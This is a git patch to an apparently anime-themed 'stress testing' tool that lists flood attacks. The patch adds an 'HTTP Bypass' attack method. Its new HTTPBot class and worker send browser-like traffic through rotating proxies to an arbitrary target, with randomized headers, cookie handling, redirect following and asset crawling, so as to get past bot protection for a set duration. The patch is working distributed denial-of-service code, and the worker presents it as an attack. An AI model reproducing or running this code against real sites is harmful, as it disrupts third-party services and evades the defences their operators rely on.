From 10bcb2bafdbc346a50c75e2048d79d4db3a1633d Mon Sep 17 00:00:00 2001 From: Sammwy Date: Sun, 26 Jan 2025 23:18:39 -0300 Subject: [PATCH] =?UTF-8?q?feature:=20=F0=9F=9A=80=20added=20bypass=20meth?= =?UTF-8?q?od=20+=20fix=20socks=20proxy=20http=20bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 1 + server/index.ts | 1 + server/lib.ts | 1 + server/proxyUtils.ts | 1 + server/utils/clientUtils.js | 17 +-- server/utils/httpBot.js | 212 +++++++++++++++++++++++++++++ server/utils/mcUtils.js | 2 +- server/utils/randomUtils.js | 4 + server/workers/httpBypassAttack.js | 92 +++++++++++++ src/App.tsx | 21 ++- 10 files changed, 342 insertions(+), 10 deletions(-) create mode 100644 server/utils/httpBot.js create mode 100644 server/workers/httpBypassAttack.js diff --git a/README.md b/README.md index 211d5ff..48ac733 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,7 @@ A fun and visually appealing stress testing server with a **Miku-themed** fronte - 🖼️ **Aesthetic Design**: A visually cute interface to make your experience enjoyable. 🌸 - 📡 **Attack Methods:**: - `HTTP Flood` - Send random HTTP requests + - `HTTP Bypass` - Send HTTP requests that mimics real requests (Redirects, cookies, headers, resources...) - `HTTP Slowloris` - Send HTTP requests and keep the connection open - `Minecraft Ping` - Send Minecraft ping/motd requests - `TCP Flood` - Send random TCP packets diff --git a/server/index.ts b/server/index.ts index 7f4a623..c4ac246 100644 --- a/server/index.ts +++ b/server/index.ts @@ -14,6 +14,7 @@ import { filterProxies } from "./proxyUtils"; // Define the workers based on attack type const attackWorkers: { [key in AttackMethod]: string } = { http_flood: "./workers/httpFloodAttack.js", + http_bypass: "./workers/httpBypassAttack.js", http_slowloris: "./workers/httpSlowlorisAttack.js", tcp_flood: "./workers/tcpFloodAttack.js", minecraft_ping: "./workers/minecraftPingAttack.js", diff --git a/server/lib.ts b/server/lib.ts index e69b7dd..9b40e26 100644 --- a/server/lib.ts +++ b/server/lib.ts @@ -10,6 +10,7 @@ export interface Proxy { export type AttackMethod = | "http_flood" + | "http_bypass" | "http_slowloris" | "tcp_flood" | "minecraft_ping"; diff --git a/server/proxyUtils.ts b/server/proxyUtils.ts index 49bf1cf..75bbbd4 100644 --- a/server/proxyUtils.ts +++ b/server/proxyUtils.ts @@ -14,6 +14,7 @@ const COMMON_PORTS: { [port: number]: ProxyProtocol } = { const METHODS: { [key in AttackMethod]: ProxyProtocol[] } = { http_flood: ["http", "https", "socks4", "socks5"], + http_bypass: ["http", "https", "socks4", "socks5"], http_slowloris: ["socks4", "socks5"], tcp_flood: ["socks4", "socks5"], minecraft_ping: ["socks4", "socks5"], diff --git a/server/utils/clientUtils.js b/server/utils/clientUtils.js index a9153cf..0918050 100644 --- a/server/utils/clientUtils.js +++ b/server/utils/clientUtils.js @@ -19,13 +19,14 @@ export function createAgent(proxy) { // HTTP Client export function createMimicHttpClient(proxy, userAgent) { - return axios.create({ + return createHttpClient({ headers: { "User-Agent": userAgent }, proxy, timeout: 5000, validateStatus: (status) => { return status < 500; }, + maxRedirects: 3, }); } @@ -39,15 +40,11 @@ export function createHttpClient( validateStatus: (status) => { return status < 500; }, - proxy: { - protocol: "http", - host: "127.0.0.1", - port: 1080, - }, + maxRedirects: 0, + proxy: {}, } ) { const config = { ...clientConfig }; - const client = axios.create(config); const proxy = config.proxy; if (proxy.protocol == "http" || proxy.protocol == "https") { @@ -57,13 +54,17 @@ export function createHttpClient( auth: proxy.username ? { username: proxy.username } : null, }; } else if (proxy.protocol == "socks4" || proxy.protocol == "socks5") { - config.httpAgent = createAgent(proxy); + const agent = createAgent(proxy); + config.proxy = false; + config.httpAgent = agent; + config.httpsAgent = agent; } else { throw new Error( "Unsupported proxy protocol for HTTP client: " + proxy.protocol ); } + const client = axios.create(config); return client; } diff --git a/server/utils/httpBot.js b/server/utils/httpBot.js new file mode 100644 index 0000000..9c4835e --- /dev/null +++ b/server/utils/httpBot.js @@ -0,0 +1,212 @@ +import { load as cheerioLoad } from "cheerio"; // For parsing HTML + +import { createHttpClient } from "./clientUtils.js"; +import { randomInteger } from "./randomUtils.js"; + +export default class HTTPBot { + constructor({ + proxy = null, + userAgent = "Mozilla/5.0", + headers = {}, + followRedirects = true, + responseCallback = null, + } = {}) { + this.visitedUrls = new Set(); // To avoid revisiting the same URL multiple times + this.running = false; + + // Default headers + this.defaultHeaders = { + "User-Agent": userAgent, + Accept: + "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + Connection: "keep-alive", + ...headers, // Override default headers if custom headers are passed + }; + + // Create Axios instance with optional proxy and cookie handling + this.axiosInstance = createHttpClient({ + headers: this.defaultHeaders, + proxy, + timeout: 10000, + maxRedirects: followRedirects ? 5 : 0, + validateStatus: (status) => { + return status < 500; + }, + }); + + this.cookies = {}; // Store cookies from responses + this.responseCallback = responseCallback; + } + + // Main function that starts the cycle + startCycle(url) { + this.running = true; + this.runCycle(url); + } + + // Perform the cycle recursively with setTimeout to avoid blocking + async runCycle(url) { + if (!this.running) return; // Exit if the bot is not running + + const runNextCycle = async () => { + // Wait for a random time between 2 to 10 seconds before starting the next cycle + const randomWait = randomInteger(2000, 10000); + await this.sleep(randomWait); + + // Start the next cycle + this.runCycle(url); + }; + + try { + // Perform a GET request to the main URL + const mainResponse = await this.getRequest(url, true); + if (!mainResponse) { + runNextCycle(); + return; + } + + const $ = cheerioLoad(mainResponse.data); + + // Get all assets (CSS, JS, IMG) + const assets = this.getAssets($, url); + + // Download all assets + for (let asset of assets) { + await this.getRequest(asset); + } + + // Get all links and make GET requests to each one with a delay + const links = this.getLinks($, url); + const linkPromises = links.map((link) => this.getRequest(link)); + + // Wait for all links to be processed + await Promise.all(linkPromises); + + // Run the next cycle + runNextCycle(); + } catch (err) { + if (this.responseCallback) { + this.responseCallback(err); + } + } + } + + // Makes a GET request with Axios and handles errors + async getRequest(url, bypassAlreadyVisited = false) { + if (!bypassAlreadyVisited) { + if (this.visitedUrls.has(url)) { + // console.log(`Skipping already visited URL: ${url}`); + return; + } + + this.visitedUrls.add(url); + } + + try { + // console.log(`Requesting: ${url}`); + const response = await this.axiosInstance.get(url); + if (this.responseCallback) { + this.responseCallback(); + } + + // Handle cookies from response headers + this.handleCookies(response.headers["set-cookie"]); + + // Wait between 2 to 5 seconds after each request + await this.sleep(randomInteger(100, 1000)); + return response; + } catch (error) { + if (this.responseCallback) { + this.responseCallback(error); + } + } + } + + // Handle cookies by storing them and attaching them to future requests + handleCookies(setCookieHeader) { + if (setCookieHeader) { + setCookieHeader.forEach((cookie) => { + const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';' + const [cookieName, cookieValue] = cookieParts.split("="); + this.cookies[cookieName] = cookieValue; + }); + + // Add the cookies to the headers for the next request + this.axiosInstance.defaults.headers["Cookie"] = Object.entries( + this.cookies + ) + .map(([key, value]) => `${key}=${value}`) + .join("; "); + } + } + + // Extracts all assets (CSS, JS, IMG) from the HTML + getAssets($, target) { + let assets = []; + $('link[rel="stylesheet"], script[src], img[src]').each((i, el) => { + const src = $(el).attr("href") || $(el).attr("src"); + if (src) assets.push(src); + }); + + // Normalize assets by target + assets = assets.map((asset) => { + if (asset.startsWith("../")) { + asset = asset.slice(3); + } + + if (asset.startsWith("./")) { + asset = asset.slice(2); + } + + if (asset.startsWith("/")) { + asset = asset.slice(1); + } + + if (asset.includes("://")) return asset; + return `${target}/${asset}`; + }); + + return assets; + } + + // Extracts all links to make GET requests to each one + getLinks($, target) { + let links = []; + $("a[href]").each((i, el) => { + const href = $(el).attr("href"); + if (href) links.push(href); + }); + + // Normalize links by target + links = links.map((link) => { + if (link.startsWith("../")) { + link = link.slice(3); + } + + if (link.startsWith("./")) { + link = link.slice(2); + } + + if (link.startsWith("/")) { + link = link.slice(1); + } + + if (link.includes("://")) return link; + return `${target}/${link}`; + }); + + return links; + } + + // Function to wait for a random amount of time + sleep(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); + } + + // Stop the cycle + stopCycle() { + this.running = false; + } +} diff --git a/server/utils/mcUtils.js b/server/utils/mcUtils.js index 28dafb1..304c5f4 100644 --- a/server/utils/mcUtils.js +++ b/server/utils/mcUtils.js @@ -1,5 +1,5 @@ // Adapted from: https://github.com/Cryptkeeper/mcping-js/ -import { createTcpClient } from "./clientUtils"; +import { createTcpClient } from "./clientUtils.js"; class MinecraftProtocol { static writeVarInt(val) { diff --git a/server/utils/randomUtils.js b/server/utils/randomUtils.js index 211243c..40e39c6 100644 --- a/server/utils/randomUtils.js +++ b/server/utils/randomUtils.js @@ -16,3 +16,7 @@ export function randomString(length) { export function randomInteger(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } + +export function randomItem(array) { + return array[Math.floor(Math.random() * array.length)]; +} diff --git a/server/workers/httpBypassAttack.js b/server/workers/httpBypassAttack.js new file mode 100644 index 0000000..5fbcd3d --- /dev/null +++ b/server/workers/httpBypassAttack.js @@ -0,0 +1,92 @@ +import { parentPort, workerData } from "worker_threads"; + +import HTTPBot from "../utils/httpBot.js"; +import { randomItem } from "../utils/randomUtils.js"; + +const HTTP_ACCEPT_HEADERS = [ + "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", + "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", + "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9", +]; + +const HTTP_LANGUAGE_HEADERS = [ + "en-US,en;q=0.5", + "es-ES,en;q=0.5", + "fr-FR,en;q=0.5", + "de-DE,en;q=0.5", + "it-IT,en;q=0.5", + "pt-BR,en;q=0.5", +]; + +const HTTP_ENCODING_HEADERS = [ + "gzip, deflate, br", + "gzip, deflate", + "gzip", + "deflate, br", + "deflate", + "br", +]; + +const startAttack = () => { + const { target, proxies, userAgents, duration } = workerData; + const fixedTarget = target.startsWith("http") ? target : `https://${target}`; + + let totalPackets = 0; + const pool = new Set(); + + const createBot = (proxy) => { + const bot = new HTTPBot({ + proxy, + userAgent: randomItem(userAgents), + followRedirects: true, + headers: { + Accept: randomItem(HTTP_ACCEPT_HEADERS), + "Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS), + "Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS), + Connection: "keep-alive", + "Upgrade-Insecure-Requests": "1", + }, + responseCallback: (error) => { + if (error) { + parentPort.postMessage({ + log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`, + totalPackets, + }); + } else { + totalPackets++; + parentPort.postMessage({ + log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`, + totalPackets, + }); + } + }, + }); + + pool.add(bot); + bot.startCycle(fixedTarget); + }; + + const createPool = () => { + proxies.forEach((proxy) => createBot(proxy)); + }; + + const clearPool = () => { + pool.forEach((bot) => bot.stopCycle()); + pool.clear(); + }; + + setTimeout(() => { + clearPool(); + parentPort.postMessage({ log: "Attack finished", totalPackets }); + process.exit(0); + }, duration * 1000); + + createPool(); +}; + +if (workerData) { + startAttack(); +} diff --git a/src/App.tsx b/src/App.tsx index 4f41cc7..26e776d 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react"; import { useEffect, useRef, useState } from "react"; import { io } from "socket.io-client"; -const socket = io("http://localhost:3000"); +function isHostLocal(host: string) { + return ( + host === "localhost" || + host === "127.0.0.1" || + host.startsWith("::1") || + host.startsWith("192.168") || + host.startsWith("10.") || + host.startsWith("172.") + ); +} + +function getSocketURL() { + const host = window.location.host.split(":")[0]; + const isLocal = isHostLocal(host); + const socketURL = isLocal ? `http://${host}:3000` : "/"; + return socketURL; +} + +const socket = io(getSocketURL()); function ConfigureProxiesAndAgentsView() { const [loadingConfiguration, setLoadingConfiguration] = useState(false); @@ -369,6 +387,7 @@ function App() { disabled={isAttacking} > +